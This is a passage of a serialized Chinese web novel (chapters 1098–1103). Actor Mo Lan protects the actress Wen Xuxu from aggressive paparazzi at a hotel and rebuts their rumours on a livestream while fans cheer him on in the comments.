她试图用包挡住镜头,却被一只手抓住手腕:“温老师请正面回答!您对成唯粉丝的辱骂感到委屈吗?会因此退出剧组吗?”镁光灯在她瞳孔里烙下灼痕,耳边是此起彼伏的“回答!回答!”声浪。 她深吸一口气,指甲深深掐进掌心,那些刺痛远比记者们的攻击更清晰,提醒她此刻必须保持清醒。 记者们的攻势愈发癫狂,话筒甚至撞上她锁骨,激得她皮肤泛起红痕。 温栩栩忽然停住挣扎,任由人群将她围成孤岛。 她仰头直视那些贪婪的眼睛,眼底泛起清璃般的冷冽,不再是卸去妆容的苍白,而是角色魂灵附体的凛然。 这一刻,她想起黎云笙赠卡时的低语:“娱乐圈是战场,你的武器是演技。” 喉间涌起的苦涩被她咽下,换成一句简洁的回应:“关于角色,我自有底气。关于其他,清者自清。” 话音未落,她猛地抽回手腕,高跟鞋踩稳台阶,侧身从两名记者缝隙间挤过。 闪光灯追着她踉跄的背影,却无人再敢上前。甚至有一种让围攻者莫名生怯的感觉。 保安终于冲破人群,为她开出一条窄道,她快步钻进等候的保姆车,车门关上的刹那,隔绝了所有喧嚣。 车内空调冷气扑面,温栩栩摘下被汗浸湿的帽子,指尖颤抖着抚摸锁骨上的红痕。 那些问题如毒藤缠在心口。 成唯粉丝的辱骂、资源咖的污名、与黎云笙的关系……她闭眼咬住下唇,血腥味在舌尖漫开,却抵不过心尖的刺痛。 手机在包里震动,成唯粉丝的辱骂截图不断弹出,而最顶端的消息,是黎云笙的简讯:“需要接应吗?”她盯着那行字良久,喉头哽住所有回应,最终将手机静音,蜷缩进车座角落。 车窗外,仍有记者不死心地拍打车窗,试图捕捉她的表情。 司机终于甩开尾随车辆,驶向酒店。 温栩栩凝视后视镜中逐渐模糊的人群,忽然意识到这场围攻不过是娱乐圈风暴的缩影。 车门在酒店大堂开启时,她已重新戴上帽子,压下所有情绪。 下车后才发现对面也停着一辆车,温栩栩顿了下,抬眼对上一张英俊面容,对方笑吟吟的跟她打招呼。 “温老师,初次见面,你好我是墨澜。” 第1098章 温老师,初次见面 车门在酒店大堂开启的瞬间,冷气裹挟着喧嚣后的寂静扑面而来。 温栩栩重新扣紧鸭舌帽,记者围攻留下的红痕仍隐在锁骨,指尖残留着掐掌心时的钝痛,却已无人可窥见她眼底的波澜。 她垂眸快步走向电梯,高跟鞋敲击大理石地面的声响如一串急促的符咒,却在踏入大堂中央时骤然顿住。 对面停着一辆低调的黑色轿车,车门未完全闭合,一抹颀长的身影斜倚在车边,月光与其内暖灯的交织中,恍若一幅被神明亲手勾勒的画卷。 温栩栩呼吸微滞,帽檐下的睫毛在光影交错中颤动,那人眉骨如雪山峻岭般挺拔,眼尾斜挑的弧度却蕴着东方水墨的柔韵,瞳仁是罕见的琥珀色,似有星火在其中流转,却又被一层薄雾般的疏离感笼住。 鼻梁线条如刀刻般凌厉,唇形却柔和如春日初绽的花瓣,笑意自唇边漾开时,竟让整张面容迸发出一种矛盾而致命的吸引力,既似高高在上的神祇,又似暗夜中游走的不羁妖灵。 “温老师,初次见面,你好我是墨澜。”低沉的嗓音裹着磁性的质感,如同浸过红酒的丝绸,轻轻拂过耳畔。 他抬手摘下墨镜,露出那双令人心悸的琥珀眼眸,笑意更深了几分。 温栩栩这才惊觉自己竟怔忡了数秒。 是红遍全球的华国男星墨澜。 温栩栩只在电视上面看过他,昨晚见他还是在直播间中见的,可见到真人才知道这人颜值确实是很高,而且有点不上镜,因为五官是那种偏中式的大气容貌,却偏偏带着西式的立体感,所以见到真人才知道有多令人惊艳。 她匆忙颔首:“墨老师好。” 墨澜身量极高,却无半分压迫感,脊梁如青竹般挺拔而不僵,衬衫袖口随意卷起,露出线条流畅的小臂,肌理分明却不见夸张的腱肉,透出一种文人墨客与武者交融的独特气质。黑发修剪得干净利落,几缕碎发垂落额前,非但不显凌乱,反添几分慵懒的贵气。 最令人难以移目的,是他那张堪称完美的脸庞,五官比例似经匠人千雕万琢,却又不见匠气,仿佛天生就该如此惊心动魄。 他身着简单的深灰西装,却因身材的绝佳比例与面料的高定质感,衬得整个人如一把收鞘的名剑,锋芒内敛却气势逼人。举手投足间带着浑然天成的优雅,却又在笑意中透出几分玩世不恭的痞气,矛盾的气质在他身上竟奇妙地融合,仿佛他天生便是游走于光明与黑暗交界处的存在。 那双琥珀眼眸尤为摄魂,注视人时似能穿透所有伪装,却又在深处藏着让人看不透的深渊,令人既想靠近,又惧沦陷。 “墨老师这个天气穿西装?”温栩栩轻笑一声打趣。 墨澜歪头看她:“第一次见我们女主角,总要穿的正式一点,下次见到我大概就是路边摊T恤短裤和拖鞋了,如果我注重形象可能会欢城宽松长裤。” 温栩栩:“……”那也真的是非常接地气了。 墨澜朝她迈出一步,周身散发的松木香气悄然漫近,令人想起深山古寺中檀香与晨雾交融的清冽。 他抬手示意侍应生接过行李,动作自然得仿佛他们早已相识:“温老师刚经历围堵,辛苦了。秦导总说开机宴记者太多,看来所言非虚。”语调含着淡淡的调侃,却无半分居高临下的意味,仿佛他们不过是同陷泥潭的战友。 她仓促摇头:“墨老师赶来辛苦了。” 墨澜忽而轻笑,眼尾弧度更深:“温老师不必拘谨,往后在剧组,你我可要共渡不少‘记者劫’。” 他刻意加重“共渡”二字,琥珀眸中闪过一抹意味不明的光,似在暗示某种同盟关系,又似单纯玩笑。 显然,他不觉得温栩栩是负累。 也就只有成唯那种人以为温栩栩想要吸血。 温栩栩想起秦扬帆的叮嘱:“墨澜此人,看似散漫实则精明,演技更是圈内顶尖,与他搭戏需时刻警醒。” 但现在墨澜却完全没有敌意,完全是在向她释放善意。 他笑意始终温和,甚至主动让开路:“不进去吗?温老师拍了一天的戏又应付了这么长时间的记者,现在应该很累了。” 绅士的姿态无懈可击,却让她莫名想起灵媒世界中那些擅长伪装的精怪。 温栩栩自然没有拒绝,她现在脑子都是乱的,也确实想好好静一静了。 墨澜姿态闲散的跟在她身后,可两人前脚才踏入酒店,就见到大厅内挤满的记者。 原本蛰伏在暗处的记者们如被惊扰的蜂群,刹那间从各个角落涌出,摄像机与话筒组成的钢铁洪流朝两人席卷而来。 镁光灯炸开的刹那,整片空间被刺眼白光吞噬,仿佛无数道闪电劈向中央,温栩栩被晃得下意识闭眼,耳畔炸响的快门声密如暴雨,夹杂着此起彼伏的尖叫: “墨澜!墨澜老师终于现身了!” “他不是在休假吗?为什么突然回国!” “《灵媒》剧组是不是有大事要爆!” “墨老师请留步!请解释为什么提前进组!” 人群如潮水般涌来,将温栩栩与墨澜瞬间困在漩涡中心。 记者们推搡着挤到最前排,话筒几乎怼到墨澜喉结,镁光灯的灼热感灼烫皮肤,连呼吸都变得滞重。 温栩栩被挤到墨澜身侧,高跟鞋踉跄踩进地毯褶皱,鸭舌帽再次被掀飞,长发散乱地披在肩头。 她瞥见墨澜衬衫袖口被一名记者扯歪,却仍保持着那副闲散的笑,仿佛置身事外的看客,眼底却悄然掠过一抹冷冽的锋芒。 “墨老师!网传您因不满成唯解约才提前回国抢角,是否属实?” “您对温栩栩出演女主有何看法?” “有消息称您与投资方有私下协议,是否涉及资本操控剧组?” 问题如毒箭连发,记者们的亢奋近乎癫狂,墨澜的突然现身远比温栩栩更具爆点。 他素来以“佛系”著称,却在此刻打破休假惯例,背后的原因足以点燃娱乐圈的所有猜想。 第1099章 到底是谁在转移话题 镁光灯在两人周身织成一张灼亮的光网,温栩栩被晃得眼眶酸涩,却听见墨澜轻笑一声,语调仍如浸过红酒的丝绸:“诸位这么热情,倒让我想起某部灵异片的驱鬼阵仗。” 这话俨然是嘲讽这群记者跟鬼没什么两样了。 他忽然抬手,食指与中指并拢在额前轻点,仿若画符的动作让记者们愣怔刹那,快门声竟短暂停滞。 趁这间隙,他侧身将温栩栩护在臂弯阴影下,朝电梯方向半步半步挪动:“温老师可受不住这般‘阵仗’,诸位若真关心《灵媒》,不如多关注剧本与演技,毕竟,灵媒的世界,假的永远斗不过真的。” 此言一出,记者们更似嗅到血腥的鲨群。 有人高喊:“墨老师是否在暗示成唯事件有猫腻?”镁光灯霎时更密,闪得人视网膜生疼。 温栩栩被人群推挤得险些撞上墨澜胸膛,却觉他臂膀如铁铸般稳,体温透过衬衫传来,竟莫名令人安心。 她瞥见他喉结滚动,笑意却未褪分毫,仿佛这一切混乱不过是场可笑的戏码,而他早已写好所有剧本。 “墨老师是否认为温栩栩无法胜任女主?” “您与成唯私交如何?会否因抢角影响关系?” “有传闻称黎氏为温老师改戏,您是否知情?” 提问愈发尖锐,甚至有人试图从墨澜身后绕到温栩栩面前。 镁光灯的灼热几乎让空气扭曲,温栩栩鬓角渗出细汗,却听墨澜忽然嗤笑:“诸位这架势,倒比灵媒降妖时还要凶悍。”他忽而抬手,将一枚符咒模样的金属挂牌别在胸前,竟是《灵媒》剧组的临时工牌。 “关于抢角,温老师与成唯的事,诸位不如去问秦导。”他琥珀眸中泛起戏谑的光,指尖轻点记者们的镜头,“各位,堵我就算了,但在酒店堵一位女性,你们到底想做什么呢?在外面可以追可以堵,但在这里,是不是太过分了些。” 一句话,记者们瞬间哑口无言。 墨澜却不再作答,忽而揽住她肩头,眼见墨澜要带温栩栩离开,记者们再度炸锅。 “墨澜!你跟温栩栩这么亲密,是因为你们之间有什么见不得人的交易吗!” “你是真的决定要带新人了吗?” “为了温栩栩结束你休假的行程,难道你不是跟温栩栩在一起了吗?” “墨澜请回答!” 如果这群人真的这么好说话,就不会在这里围追堵截墨澜了。 墨澜脸上的笑意在记者那句“你们之间有什么见不得人的交易”后,如冰裂般骤然崩塌。 他揽住温栩栩肩头的手倏然收紧,指节因用力而泛白,琥珀色的瞳孔深处燃起暗火,那不再是玩世不恭的戏谑,而是蛰伏的怒狮终于撕破伪装的锋芒。 镁光灯仍在疯狂闪烁,却照不进他眼底的阴影,只映出他下颌绷紧的冷峻线条,散发着难以言喻的凉意。 “墨澜!回答我们的问题!”一名男记者将话筒戳到他喉结下方,金属杆几乎抵住皮肤。 墨澜侧身用臂膀挡住攻击,温栩栩被这动作护得更紧,耳畔传来他低沉的警告:“站稳。”声音裹着刀刃般的寒意,却在她耳廓激起一丝颤栗的战栗。 记者们见状愈发亢奋,人群如蝗虫般涌上前,推搡间有人扯住温栩栩的裙摆,她踉跄半步,墨澜的衬衫却被扯出褶皱,那令他此刻最后的从容镇定彻底崩塌。 温栩栩现在是什么咖位?十八线开外的糊咖,现在这种情况不管说什么都一定会被这群记者曲解嘲讽辱骂。 墨澜都要被气笑了,其实他觉得这样挺没劲的。 是真觉得没劲,整天编些乱七八糟的赚流量,也不是不能理解这群人就是这个工作,但你好歹也要有点底线,配合你,你们也做个人。 追到酒店还不够? 如果不是今天他回来了,这群人打算怎么拉扯温栩栩呢? 就困在酒店里不让走了? 他见过太多这样的场景。 娱记们将“真相”碾成碎屑,只为拼凑出最血腥的八卦,镜头撕碎艺人的尊严,只为换取点击率的暴涨。 他曾是这游戏规则的旁观者,甚至偶尔成为受益者,佛系人设为他赢得清净,但此刻,当镁光灯对准一个被逼至绝境的女子,当推搡的手带着隐秘的恶意,他忽然看清这行业的腐臭内核。 “配合你们?做个人吧?”他忽而冷笑,声线冷如淬毒的箭。 那些质问“温栩栩咖位”的嘲讽,那些将私交扭曲成交易的臆测,那些恨不得将她剥皮拆骨的恶意。 这群人连最基本的“人”的体面都不愿给,却还要妄想他开口回答那些可笑的问题? “你们编的‘真相’比《灵媒》的鬼故事还精彩,都这么能编,怎么不去当编剧?”他忽然抬手,将一枚录音笔拍在最近的话筒上,金属碰撞的脆响惊得记者们一愣。 镁光灯仍在灼烫,他却不再躲闪。 琥珀眸扫过每一张贪婪的脸,视线停在某个记者扭曲的嘴角上,那人曾写过某女星“夜会三男”的假新闻,导致对方抑郁退圈。 墨澜想起那女星被围堵时破碎的眼神,想起同行者沉默的袖手旁观……而现在,温栩栩散乱的发丝与泛红的脖颈,让他看清沉默便是共谋。 “现在为了这些新闻八卦,真的是完全脸都不要了?”墨澜的声音突然炸响在大堂,震得镁光灯都颤了颤,“你们围堵女艺人到酒店,扯她的裙子,怼话筒到她脸上,这就是你们的‘职业操守’?” “男记者堵女明星,反抗就说耍大牌,碰瓷就说性骚扰,你们这套把戏,玩了多少年了?” 人群骚动,镁光灯开始闪烁得更慌乱。 有记者高喊:“墨澜在转移话题!” 他却逼近半步,声音冰冷的像是在质问:“转移话题?到底是我在转移话题还是你们在转移话题?你们在转移什么?转移你们编造谣言的肮脏,转移你们践踏尊严的卑劣!” 第1100章 你们敢问他就敢回应 温栩栩在他身后怔住,她没见过这样的墨澜,那副慵懒散漫的皮囊下,竟藏着如此炽烈的怒焰。 他护在她身前的背影,此刻像一道浇筑铁血的盾,将所有的恶意隔绝在外。 “性骚扰?这事儿不是没有过。”他忽然嗤笑,指尖指向某个试图绕到温栩栩身后的男记者,“去年某颁奖礼后台,那位‘敬业’的记者先生,把话筒塞进女星胸口的照片,还挂在你们网站的边角呢。” 镁光灯陡然熄灭一片,人群中有窃语如毒虫蠕动:“他怎么会知道……”墨澜却不再给他们喘息,忽而抬手将工牌撕下,掷向空中:“如果真的有‘灵媒’那灵媒的灵,一定能够看得见你们心里的鬼。” 记者们被这猝然的怒斥搅乱阵脚,有人骂“墨澜疯狗”,有人嘀咕“是不是真有事”,却无人再敢逼近半步。 墨澜眼底的凉意如寒潭深处的冰棱,愈凝愈深。 他凝视面前这群记者,嘴角的笑意却未褪,仿佛戴着一张笑的面具,而面具之下是冻彻骨髓的厌憎。 镁光灯仍在疯狂闪烁,他却不再被灼烫的光所困,琥珀瞳仁中映出每一张面孔的贪婪与虚伪,有人眼珠滴溜溜转着算计,有人舔唇欲咬更血腥的八卦,有人甚至在他护住温栩栩时,仍将镜头对准她裙摆掀起的缝隙。 这场景让他胸腔里淤积的怒火再度翻涌,却被他压成更锋利的冷刃。 “你们的问题都挺多的。”他忽然轻笑,声音冰冷,“我明白你们要交差,要流量,要那些断章取义的‘真相’。但有些人,连最基本的‘人’字怎么写都忘了。” 镁光灯骤亮,快门声炸响,他却恍若置身事外的审判者,眼底冷意凝成实质。 记者们被他这森冷的气势逼退半步,话筒却仍如毒蛇信子般伸向他:“墨老师,您这话是什么意思?” 墨澜嗤笑,忽而转身从侍应生手中夺过手机,屏幕亮起的刹那,镁光灯竟诡异地静了一瞬。 他拇指在直播键上悬停,琥珀眸扫过人群:“不如开个直播?你们想问的,我答,我的粉丝想听的,我说。这样……你们能拿到‘大新闻’,我的粉丝也能知道我安全回国,双赢,不是吗?” 此言一出,镁光灯陡然再度暴闪。 记者们面面相觑。 直播?若真开了直播,他们那些添油加醋的“编造”将无处遁形,粉丝的骂战会如洪水淹没任何歪曲的言论。 墨澜这招,分明是釜底抽薪,用透明撕碎阴暗,用光明焚毁谎言。 有人高喊:“墨老师,这不合规矩!” 他却挑眉,笑意更冷:“规矩?你们堵女艺人到酒店,扯她的裙子,怼话筒到她脸上,这就是你们的‘规矩’?” 人群骚动如沸水,镁光灯在闪烁中透出不安的颤栗。 记者们心知肚明,墨澜的直播一旦开启,他们苦心经营的“围猎”将沦为笑话。 但大新闻的诱惑仍在啃噬理智,无人愿退场,谁先走,谁就失去这场博弈的筹码。 镁光灯愈发密集,快门声如催命的鼓点,却无人敢再逼近。 墨澜将手机抵在掌心,拇指关节因用力而发白。 他眼底的冷意已凝成刀刃,斜斜扫过每一张迟疑的脸:“怎么?不敢了?” 忽然,他指尖按下直播键,屏幕骤然亮起,镜头对准自己与温栩栩。 镁光灯在此刻竟诡异地熄灭大半,记者们的惊呼如漏气的气球:“墨澜!你疯了!” “疯?”他忽而轻笑,笑意却未达眼底,“是你们先疯的。” 直播界面弹出,粉丝涌入的弹幕瞬间刷屏,他抬高音量,声线冷冽:“今晚,我与温老师被堵在酒店大堂。诸位记者的问题,我将一一回答。但前提是,这些记者的问题,得配得上‘人’这个词。” 弹幕爆炸般涌出。 【啊啊啊啊!哥哥你回国了!不是还在休假吗!哥你这样身体扛得住吗!】 【澜哥直播了!】 【什么情况?被堵酒店?】 【那群狗仔又搞事?】 墨澜的粉丝们瞬间嗅到硝烟,而记者们却陷入前所未有的两难。 有人试图扑上前抢手机,墨澜却早有防备,侧身将温栩栩护得更紧,镜头陡然转向那群推搡的手:“诸位看清楚了,这就是你们所谓的‘敬业’,堵人、拉扯、甚至……”他故意停顿,琥珀眸盯住某个记者镜头下扭曲的脸,“甚至对女艺人怀揣怎样的心思,你们自己心里明白。” 弹幕疯狂刷屏。 【报警!】 【澜哥别怂!】 【拍下来!】 镁光灯开始混乱闪烁,记者们终于有人退却,话筒如败兵溃逃。 墨澜却未停,他忽而将镜头对准温栩栩:“温老师,介意出境吗?”温栩栩早已被这剑拔弩张的对峙震住。 温栩栩摇了下头,当然不会介意,她不觉得自己现在见不得人,甚至此刻妆容都没有卸,而且她也知道墨澜这么做也确实是为了他们两个。 好歹也要让其他人知道这群记者丑恶的嘴脸。 她摇头,长发仍散乱,妆容却未卸:“我当然不会介意。” 酒店大厅是有沙发的,墨澜跟温栩栩坐到沙发上,看着倒是很淡定从容,如果不是这会儿正被一群记者堵着,还真当两个人只是单纯回酒店了。 “你们想问什么,问吧。”墨澜还挺大方,真的给了她们提问的机会。 记者们尖刺蜂拥而至。 “墨澜!你和温栩栩到底是什么关系!为什么会为了温栩栩放弃休假专程提前回国!” 有其他记者也想赶紧开口提问,墨澜却笑道:“一个一个来,你们急什么,不管你们问出什么离谱无下限的问题,你们敢问,我就敢回应。” 这是真刚。 就刚才那个问题,直播间的粉丝都已经炸锅了。 【这群记者到底在说些什么乱七八糟的!简直满口胡言,这不是说我们哥哥跟温栩栩在一起吗!谁信谁是蠢货!】 【嘴皮子一碰就是造谣,这群记者最爱干的就是这种恶心人的事情了!】 第1101章 转移话题?心虚了吧 【当初墨澜刚出道的时候就跟当时的大花拍过广告结果就被造谣被大花包养,这事儿他们不是没干过!】 弹幕瞬间如流星雨般炸开,荧光色的字符在屏幕上交织成一片星河。 粉丝们仿佛被点燃了战斗的引擎,键盘敲击声此起彼伏,每一条留言都裹挟着不容置疑的底气。 【那些所谓的被记者们故意添油加醋爆出来的黑历史谁不知道?当年全网黑的时候我们可没怂过,现在这些记者还想炒冷饭?怕不是脑子被僵尸啃过吧!】 有人直接甩出当年澄清公告的截图,证据链在弹幕区铺成铁证的长城。 有人用表情包反击,将记者丑化成伸着长舌的乌鸦,滑稽中带着锋利的讽刺。 【“谁会信这些八卦记者说的话,没脑子的吗?”】 这条弹幕一出,立刻引发集体共鸣。 粉丝们像是找到了主心骨,弹幕风格瞬间分化成百川汇海。 【记者?不就是一群靠编故事混饭吃的秃头怪吗?】 【上次他们写的通稿连墨澜生日都搞错,还号称‘独家爆料’呢!笑死人了!】 有人甚至发起“记者黑历史吐槽大赛”,罗列出一串媒体名称和他们的离谱报道,每条都被粉丝用红叉标记“已打脸”。 评论区俨然成了审判庭,而粉丝们手持键盘,化身正义的刽子手。 【“来来来,这群记者问啊!我看他们能问出什么花来!无非就是那些老生常谈的问题!”】 墨澜的粉丝完全不怵,他们是从全网黑阶段浴血杀出来的铁军,经历过最黑暗的舆论绞杀,如今面对这群摇笔杆子的“蝼蚁”,骨子里早淬出了钢筋铁骨。 弹幕里飘满战歌。 【敢问包养问题?我们准备了100种怼法!】 【墨澜的成就够写三本书了,他们倒是敢翻篇啊!】 有人甚至开始倒计时。 【3、2、1——记者哑火!】 果然,镜头前的记者们面面相觑,你看看我,我看看你,喉结在西装领口下艰难滚动,仿佛被冻住的湖面,连话筒都成了沉默的墓碑。 墨澜倒是笑了,眉眼之间漾开的笑意比春日融雪更温柔。 他倚在采访椅背上的姿态松弛如猫,指尖无意识地摩挲着话筒柄,目光扫过屏幕时,分明在每一句弹幕前停留,那是朋友间心照不宣的默契。 虽然对着记者会是另一副滴水不漏的公关态度,但此刻面对粉丝,他卸下了所有铠甲,连声音都浸着温柔的感觉。 “好了,问吧,你们敢问的话,我当然也是敢回答的。” 这句话像一剂强心针,弹幕区瞬间沸腾。 有人泪目:【呜呜呜澜哥还是对我们最温柔!】 有人秒变迷妹:【这眼神杀我!】 但更多的仍是战斗号角:【记者们!听见没?澜哥给机会了,别怂啊!】 镜头扫过记者席,只见前排一位戴金丝眼镜的男记者突然挺直脊梁,话筒几乎戳到镜头:“墨先生,有传言说您与某品牌高层的私交超越了商业范畴……” 话未说完,弹幕已化作铺天盖地的箭雨。 【超越商业范畴?是指一起探讨剧本还是探讨怎么黑他?】 【这位记者,您上周写的通稿里说墨澜身高182,这次怎么改成180了?】 有人甚至P了张图,记者跪在键盘上痛哭,配字“求放过”,瞬间被顶成热评。 墨澜轻笑出声,眼尾的弧度狡黠如狐狸。 他慢条斯理地调整话筒角度,仿佛在给粉丝更好的表演视角:“看来这位记者朋友对‘私交’很有研究?不如您先分享下自己的社交秘笈?” 说他跟品牌商私交,那这记者自己都是怎么交友的,如果只是合作就是私交,那记着岂不是滥交了? 听懂的都懂。 这句话像一颗炸弹,弹幕区瞬间炸出烟花。 【澜哥反杀!】 【记者脸绿了!】 金丝眼镜男涨红了脸,结巴着转移话题,却被粉丝揪住小辫子不放。 【转移话题?心虚了吧!】 嘲讽的弹幕如潮水漫过屏幕,记者们缩着脖子低头记录,生怕自己的脸被镜头捕捉。 突然,一位女记者鼓起勇气举起话筒,声音尖锐如刀:“墨先生,您近年作品口碑下滑,是否因为资源倾斜导致演技懈怠?” 此言一出,弹幕区骤然静默半秒,随即掀起更汹涌的反击。 【资源倾斜?你指的是他零片酬拍公益片的资源吗?】 【口碑下滑?建议去眼科挂号,看看《暗夜》的评分!】 粉丝们甚至扒出她过往的恶意通稿,逐条列出“罪行”,弹幕区成了她的“罪行审判墙”。 墨澜却并未动怒,他反而认真凝视镜头,语气诚恳:“作品有争议是好事,至少证明有人在关注。至于演技……”他突然眨了眨眼,眼底都带着笑意:“奖项可骗不了人的,评分点击也骗不了人,如果我的电影不卖座,我的电视剧不能挣钱,那些投资商也不会投钱,不是吗?” 墨澜说的多清楚啊,真要是辣眼睛演技,谁捧他,谁投资? 女记者脸黑了,但也清楚自己嘲讽墨澜演技根本没几个人会附和她。 因为墨澜已经是影帝视帝了。 粉丝在一旁加油打气。 【澜哥永远的神!】 【黑子滚粗!】 粉丝们甚至自发刷起#墨澜值得#的话题,热词条瞬间冲上榜首。 “墨澜,我之前问过你的,我想知道你为什么这么快回国,你才刚杀青一部戏,你说过要休假半个月后再入组,为什么会这么快回国?是因为温栩栩才回国的吗?” 戴眼镜的记者如饿狼扑食般挤到最前面,话筒几乎怼到墨澜鼻尖,镜片后的眼睛闪着猎食者的光。 他刻意提高音量,仿佛要将这个问题烙进所有人的耳朵,周围镁光灯骤然密集闪烁,镜头如蜂群般涌向焦点。 墨澜单手撑着下颌,指节在镜头下泛着玉石般的光泽。 他眼底漾着笑意,那笑却像蒙了一层薄霜,温柔中透着冷冽。 第1102章 资源不是抢的是凭本事拿的 他慢悠悠抬眼扫过记者群,目光所及之处,话筒竟不约而同地缩了缩。 “你想听我回答什么呢?”他语调轻缓,尾音微微上挑,仿佛在逗弄一只不识趣的猫。 “想听我说我是为了温栩栩来的,听我说我跟温栩栩之间有私情?挺可笑的。” 他忽而轻笑,声音清冽如泉,却让提问的记者耳尖泛红。 镜头忠实地记录下他唇角那抹讥诮的弧度,粉丝弹幕瞬间炸屏。 【澜哥这笑简直杀人诛心!】 【记者这眼神跟闻到了腥味的苍蝇没两样!】 “我杀青后的确想休息,但我一直很想跟秦导合作,这次秦导的剧对我来说也是一种挑战。”墨澜不急不躁地舒展手指,动作优雅又带着漫不经心的挑衅。 “游远这种看似危险却又带着绝对理智的天才心理测写师,对我来说会是很有魅力的角色,你问我是为什么这么快回国?”他突然倾身向前,距离记者仅一掌之遥,呼吸几乎喷在话筒上,“我是为了秦导,为了《灵媒》,为了‘游远’这个角色,当然也是为了跟秦导说的那位很有天分的女主角一起搭戏,请问,有问题吗?” 他刻意将“很有天分”四字咬得极重,尾音拖长,讥讽之意昭然若揭。 弹幕区瞬间被粉色爱心和火箭刷屏。 【澜哥情商碾压!】 【记者脸都绿了吧!】 【说什么澜哥跟温栩栩有私情,我们哥哥就只是想拍戏好吗!】 有粉丝甚至截图对比他此刻从容的姿态与记者扭曲的表情,配文“谁才是这场游戏的玩家”。 “需要我来告诉你,不要看到一男一女就想到两性问题吗?”墨澜坐直身子,笑意渐冷,如刀锋出鞘。 提问的记者喉头滚动,额角渗出冷汗,却仍不甘心地追问:“你不觉得你接下‘游远’一角伤害到了成唯吗!成唯才是《灵媒》最初的男主角,你这算是抢资源,这你怎么说!” 此言一出,空气骤然凝滞。 周围记者如惊鸟般默默退开数步,镁光灯暗了三分。 墨澜却似未觉危险,反而长指轻点自己太阳穴,动作闲适如赏花。 “你问这个?”他轻笑出声,声音却冷得沁骨,“你真的是一名称职合格的记者吗?来之前有看过这两天都发生了什么?看过秦导和我的回应吗?” 他倏然抬头,目光如箭穿透人群,每一字句都裹着刀刃:“如果你没看过,那你就是不称职,连行业动态都懒得做功课,跑来问这种陈年烂谷子的问题,如果你看了还要这样问——” 他突然停顿,笑意陡然加深,却让在场所有人脊背发寒,“那你就是成唯的粉丝,为了成唯特地来堵我和温栩栩讨个说法,你认为成唯被换掉全都是我们的错,而成唯没有错,是这样吗?” 他尾音轻飘飘落下,却如巨石砸入潭水。 弹幕区瞬间沸腾。 【澜哥这波预判直接打脸!】 【昨晚上秦导不是回应了?澜哥不是也回应了?还问?自己没做功课还在这里叽叽喳喳问这些?不是装傻就是想要为成唯出头,妥妥的成唯的粉丝了!成唯的粉丝最喜欢的就是让身边的人去背黑锅了!】 【笑死,成唯为什么被换跟我们哥哥有关系吗?我们哥哥是在成唯被换后才接的《灵媒》,按照这些记者的意思,拒绝成唯的剧组就不能继续拍戏了是吗?只要接了那个角色就要道德绑架对方认为是对方抢了他们的角色对吗?】 【他的粉丝还能不能要点脸了?】 【记者连功课都不做就来碰瓷?活该!】 【这个记者明摆着就是成唯的粉丝,真是演都不演了。】 粉丝们甚至扒出该记者过往为成唯写的吹捧通稿,一条条“罪行”在弹幕列成血红的清单。 现场记者们面面相觑,戴眼镜的记者咬着牙试图转移话题:“墨先生,有传言说温小姐在试镜时……” 话未及半,墨澜已截断他。 “看来你不仅不称职,还耳聋。”他指尖在话筒上敲出清脆的响,语气温柔如春风,内容却冷如冰刃,“秦导的声明写得清清楚楚,成唯因个人档期问题退出,我因对角色有兴趣接洽。至于‘抢资源’——”他突然抬眼,目光灼灼如炬,“若真有资源可抢,那说明成唯先生自己没本事守住,不是吗?” “你也不必继续提到温栩栩在试镜过程中做了什么,如果你说的温栩栩试镜的时候因为演技太好而成唯接不住戏这件事……你每提一次,也只会让成唯更丢脸一次。” “至于资源,就像我说的,资源的确是要用抢的,如果你的形象适合,演技够好导演剧组肯定更倾向于选你,又或者你本身流量过盛背后有资本你同样也可以抢,成唯抢过的资源还少吗?怎么轮到他自己就扛不住要大闹一场了?” “你既然是成唯的粉丝,那麻烦你回去后好好劝一劝成唯,让他不要这样小家子气。” “受不住资源还要发到网络上让人为他鸣不平,事实上也没有什么不平,无非是自什实力不济被换角,普罗大众不会共情他,没时间跟他胡闹,他们有自己的工作有自己的事业有自己的家庭,只有成唯还在随意的占用公共资源胡闹,这样只会显得他幼稚可笑。” 此言如惊雷炸响,弹幕区瞬间被“守资源论”刷屏,粉丝疯狂截图转发。 【澜哥这话够霸气!】 【资源不是抢的,是凭本事拿的!】 【墨澜说的本就没有问题,成唯之前不是凭着自己的身份抢过其它人的资源吗?成唯当时怎么说的?说自己流量热度摆在这里,导演和剧组肯定第一时间考虑的是用自己这样的演员,这不是成唯原话吗?怎么这种事儿到他这里就成了有人欺负他了?哪里来的双标狗,还要不要脸了?】 墨澜粉丝才不会同情成唯,只会觉得成唯活该。 有资深粉甚至发起话题#墨澜职场教科书# 第1103章 会得罪很多人 墨澜粉丝甚至在这会儿细数成唯过往如何用实力碾压恶意揣测。 提问的记者脸色青白交替,话筒攥得指节发白,却再发不出一声。 墨澜忽而轻笑,笑意终于染上几分暖色,目光却仍冷冽如刀。 “你们总爱用‘抢资源’这种低级的词,不如多关注演员的演技,毕竟,游远这个角色,可不是谁都能驾驭的。” 他尾音带着挑衅,却让所有人心头一震。 这话倒不用说直接嘲讽不是成唯能驾驭的。 粉丝弹幕瞬间被“游远”霸占。 【期待澜哥的疯批天才!】 【其他人能不能演出游远的感觉我们不知道,但成唯肯定不行的。】 镁光灯再度疯狂闪烁,墨澜却已懒懒倚回椅背,姿态闲散如云。 他扫过镜头,嘴角笑意渐深,仿佛在看一场拙劣的戏。 粉丝弹幕如潮水涌来。 【澜哥完全没把记者当回事!】 【这就是顶级演员的底气!】 有人甚至模仿他的语气写小作文,讥讽记者行业乱象,热度直冲热搜榜首。 这场交锋,墨澜未动怒,未失态,却用温柔包裹的利刃,将每一个恶意问题剖得体无完肤。 而屏幕外的粉丝,早已化作他的盾与剑,将嘲讽与信任化作最炽热的火焰,护他周全。 墨澜确实是一点面子都不给,说出的话犀利到可怕。 戴眼镜的记者铁青着一张脸,还想要反驳什么,却已经被其它记者挤到角落里面。 这次没有了成唯粉丝的胡闹,记者们提的问题算是正常很多了,最起码没再提及成唯,也算是一种成长了。 “墨澜老师,您觉得温栩栩老师的演技怎么样?有看温栩栩老师的试镜视频吗?可以做一下评价吗?”这是比较官方的问题了。 这群人不再胡闹,问出来的问题也不那么尖锐了。 墨澜作为娱乐圈的大前辈,点评一下后背也在理。 “试镜视频我当然是看过的,在国外的时候先看到的试镜视频,有一种什么感觉呢?后生可畏,那一瞬间我觉得这世界上是真的有‘唐颖’这个人的,她会作为灵媒,看着你们身边的灵对你们进行审判,是善是恶都有定论。” 这算是在夸温栩栩的演技了。 